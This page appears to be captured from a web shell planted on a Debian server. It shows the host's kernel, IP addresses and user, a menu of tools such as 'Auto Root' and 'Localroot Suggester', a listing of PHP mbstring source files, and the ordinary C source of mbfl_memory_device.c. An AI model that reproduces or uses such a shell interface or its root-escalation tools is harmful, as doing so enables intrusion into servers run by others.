Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
ext /
mbstring /
libmbfl /
mbfl /
Delete
Unzip
Name
Size
Permission
Date
Action
.libs
[ DIR ]
drwxr-xr-x
2024-03-12 14:28
eaw_table.h
902
B
-rw-rw-r--
2022-10-31 11:36
mbfilter.c
68.14
KB
-rw-rw-r--
2022-10-31 11:36
mbfilter.h
10.12
KB
-rw-rw-r--
2022-10-31 11:36
mbfilter.lo
341
B
-rw-r--r--
2024-03-12 14:28
mbfilter.o
134.66
KB
-rw-r--r--
2024-03-12 14:28
mbfilter_8bit.c
2.51
KB
-rw-rw-r--
2022-10-31 11:36
mbfilter_8bit.h
1.26
KB
-rw-rw-r--
2022-10-31 11:36
mbfilter_8bit.lo
356
B
-rw-r--r--
2024-03-12 14:28
mbfilter_8bit.o
14.88
KB
-rw-r--r--
2024-03-12 14:28
mbfilter_pass.c
1.67
KB
-rw-rw-r--
2022-10-31 11:36
mbfilter_pass.h
1.34
KB
-rw-rw-r--
2022-10-31 11:36
mbfilter_pass.lo
356
B
-rw-r--r--
2024-03-12 14:28
mbfilter_pass.o
13.07
KB
-rw-r--r--
2024-03-12 14:28
mbfilter_wchar.c
1.29
KB
-rw-rw-r--
2022-10-31 11:36
mbfilter_wchar.h
1.26
KB
-rw-rw-r--
2022-10-31 11:36
mbfilter_wchar.lo
359
B
-rw-r--r--
2024-03-12 14:28
mbfilter_wchar.o
11.03
KB
-rw-r--r--
2024-03-12 14:28
mbfl_allocators.c
1.87
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_allocators.h
1.83
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_allocators.lo
362
B
-rw-r--r--
2024-03-12 14:28
mbfl_allocators.o
7.18
KB
-rw-r--r--
2024-03-12 14:28
mbfl_consts.h
4.06
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_convert.c
12.8
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_convert.h
3.44
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_convert.lo
353
B
-rw-r--r--
2024-03-12 14:28
mbfl_convert.o
53.43
KB
-rw-r--r--
2024-03-12 14:28
mbfl_defs.h
1.61
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_encoding.c
7.97
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_encoding.h
4.86
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_encoding.lo
356
B
-rw-r--r--
2024-03-12 14:28
mbfl_encoding.o
41.78
KB
-rw-r--r--
2024-03-12 14:28
mbfl_filter_output.c
1.59
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_filter_output.h
1.34
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_filter_output.lo
371
B
-rw-r--r--
2024-03-12 14:28
mbfl_filter_output.o
11.96
KB
-rw-r--r--
2024-03-12 14:28
mbfl_ident.c
7.68
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_ident.h
2.8
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_ident.lo
347
B
-rw-r--r--
2024-03-12 14:28
mbfl_ident.o
41.74
KB
-rw-r--r--
2024-03-12 14:28
mbfl_language.c
3.46
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_language.h
2.8
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_language.lo
356
B
-rw-r--r--
2024-03-12 14:28
mbfl_language.o
16.88
KB
-rw-r--r--
2024-03-12 14:28
mbfl_memory_device.c
7.01
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_memory_device.h
2.72
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_memory_device.lo
371
B
-rw-r--r--
2024-03-12 14:28
mbfl_memory_device.o
24.59
KB
-rw-r--r--
2024-03-12 14:28
mbfl_string.c
1.89
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_string.h
1.67
KB
-rw-rw-r--
2022-10-31 11:36
mbfl_string.lo
350
B
-rw-r--r--
2024-03-12 14:28
mbfl_string.o
14.13
KB
-rw-r--r--
2024-03-12 14:28
mk_eaw_tbl.awk
1.19
KB
-rw-rw-r--
2022-10-31 11:36
Save
Rename
/* * "streamable kanji code filter and converter" * Copyright (c) 1998-2002 HappySize, Inc. All rights reserved. * * LICENSE NOTICES * * This file is part of "streamable kanji code filter and converter", * which is distributed under the terms of GNU Lesser General Public * License (version 2) as published by the Free Software Foundation. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with "streamable kanji code filter and converter"; * if not, write to the Free Software Foundation, Inc., 59 Temple Place, * Suite 330, Boston, MA 02111-1307 USA * * The author of this file: * */ /* * The source code included in this files was separated from mbfilter.c * by Moriyoshi Koizumi <moriyoshi@php.net> on 20 Dec 2002. The file * mbfilter.c is included in this package . * */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <stddef.h> #include <string.h> #include "mbfl_allocators.h" #include "mbfl_string.h" #include "mbfl_memory_device.h" /* * memory device output functions */ void mbfl_memory_device_init(mbfl_memory_device *device, size_t initsz, size_t allocsz) { if (device) { device->length = 0; device->buffer = NULL; if (initsz > 0) { device->buffer = (unsigned char *)mbfl_malloc(initsz); if (device->buffer != NULL) { device->length = initsz; } } device->pos = 0; if (allocsz > MBFL_MEMORY_DEVICE_ALLOC_SIZE) { device->allocsz = allocsz; } else { device->allocsz = MBFL_MEMORY_DEVICE_ALLOC_SIZE; } } } void mbfl_memory_device_realloc(mbfl_memory_device *device, size_t initsz, size_t allocsz) { unsigned char *tmp; if (device) { if (initsz > device->length) { tmp = (unsigned char *)mbfl_realloc((void *)device->buffer, initsz); if (tmp != NULL) { device->buffer = tmp; device->length = initsz; } } if (allocsz > MBFL_MEMORY_DEVICE_ALLOC_SIZE) { device->allocsz = allocsz; } else { device->allocsz = MBFL_MEMORY_DEVICE_ALLOC_SIZE; } } } void mbfl_memory_device_clear(mbfl_memory_device *device) { if (device) { if (device->buffer) { mbfl_free(device->buffer); } device->buffer = NULL; device->length = 0; device->pos = 0; } } void mbfl_memory_device_reset(mbfl_memory_device *device) { if (device) { device->pos = 0; } } void mbfl_memory_device_unput(mbfl_memory_device *device) { if (device->pos > 0) { device->pos--; } } mbfl_string * mbfl_memory_device_result(mbfl_memory_device *device, mbfl_string *result) { if (device && result) { result->len = device->pos; mbfl_memory_device_output('\0', device); result->val = device->buffer; device->buffer = NULL; device->length = 0; device->pos= 0; if (result->val == NULL) { result->len = 0; result = NULL; } } else { result = NULL; } return result; } int mbfl_memory_device_output(int c, void *data) { mbfl_memory_device *device = (mbfl_memory_device *)data; if (device->pos >= device->length) { /* reallocate buffer */ size_t newlen; unsigned char *tmp; if (device->length > SIZE_MAX - device->allocsz) { /* overflow */ return -1; } newlen = device->length + device->allocsz; tmp = (unsigned char *)mbfl_realloc((void *)device->buffer, newlen); if (tmp == NULL) { return -1; } device->length = newlen; device->buffer = tmp; } device->buffer[device->pos++] = (unsigned char)c; return c; } int mbfl_memory_device_output2(int c, void *data) { mbfl_memory_device *device = (mbfl_memory_device *)data; if (2 > device->length - device->pos) { /* reallocate buffer */ size_t newlen; unsigned char *tmp; if (device->length > SIZE_MAX - device->allocsz) { /* overflow */ return -1; } newlen = device->length + device->allocsz; tmp = (unsigned char *)mbfl_realloc((void *)device->buffer, newlen); if (tmp == NULL) { return -1; } device->length = newlen; device->buffer = tmp; } device->buffer[device->pos++] = (unsigned char)((c >> 8) & 0xff); device->buffer[device->pos++] = (unsigned char)(c & 0xff); return c; } int mbfl_memory_device_output4(int c, void* data) { mbfl_memory_device *device = (mbfl_memory_device *)data; if (4 > device->length - device->pos) { /* reallocate buffer */ size_t newlen; unsigned char *tmp; if (device->length > SIZE_MAX - device->allocsz) { /* overflow */ return -1; } newlen = device->length + device->allocsz; tmp = (unsigned char *)mbfl_realloc((void *)device->buffer, newlen); if (tmp == NULL) { return -1; } device->length = newlen; device->buffer = tmp; } device->buffer[device->pos++] = (unsigned char)((c >> 24) & 0xff); device->buffer[device->pos++] = (unsigned char)((c >> 16) & 0xff); device->buffer[device->pos++] = (unsigned char)((c >> 8) & 0xff); device->buffer[device->pos++] = (unsigned char)(c & 0xff); return c; } int mbfl_memory_device_strcat(mbfl_memory_device *device, const char *psrc) { return mbfl_memory_device_strncat(device, psrc, strlen(psrc)); } int mbfl_memory_device_strncat(mbfl_memory_device *device, const char *psrc, size_t len) { unsigned char *w; if (len > device->length - device->pos) { /* reallocate buffer */ size_t newlen; unsigned char *tmp; if (len > SIZE_MAX - MBFL_MEMORY_DEVICE_ALLOC_SIZE || device->length > SIZE_MAX - (len + MBFL_MEMORY_DEVICE_ALLOC_SIZE)) { /* overflow */ return -1; } newlen = device->length + len + MBFL_MEMORY_DEVICE_ALLOC_SIZE; tmp = (unsigned char *)mbfl_realloc((void *)device->buffer, newlen); if (tmp == NULL) { return -1; } device->length = newlen; device->buffer = tmp; } w = &device->buffer[device->pos]; memcpy(w, psrc, len); device->pos += len; return 0; } int mbfl_memory_device_devcat(mbfl_memory_device *dest, mbfl_memory_device *src) { return mbfl_memory_device_strncat(dest, (const char *) src->buffer, src->pos); } void mbfl_wchar_device_init(mbfl_wchar_device *device) { if (device) { device->buffer = NULL; device->length = 0; device->pos= 0; device->allocsz = MBFL_MEMORY_DEVICE_ALLOC_SIZE; } } void mbfl_wchar_device_clear(mbfl_wchar_device *device) { if (device) { if (device->buffer) { mbfl_free(device->buffer); } device->buffer = NULL; device->length = 0; device->pos = 0; } } int mbfl_wchar_device_output(int c, void *data) { mbfl_wchar_device *device = (mbfl_wchar_device *)data; if (device->pos >= device->length) { /* reallocate buffer */ size_t newlen; unsigned int *tmp; if (device->length > SIZE_MAX - device->allocsz) { /* overflow */ return -1; } newlen = device->length + device->allocsz; if (newlen > SIZE_MAX / sizeof(int)) { /* overflow */ return -1; } tmp = (unsigned int *)mbfl_realloc((void *)device->buffer, newlen*sizeof(int)); if (tmp == NULL) { return -1; } device->length = newlen; device->buffer = tmp; } device->buffer[device->pos++] = c; return c; }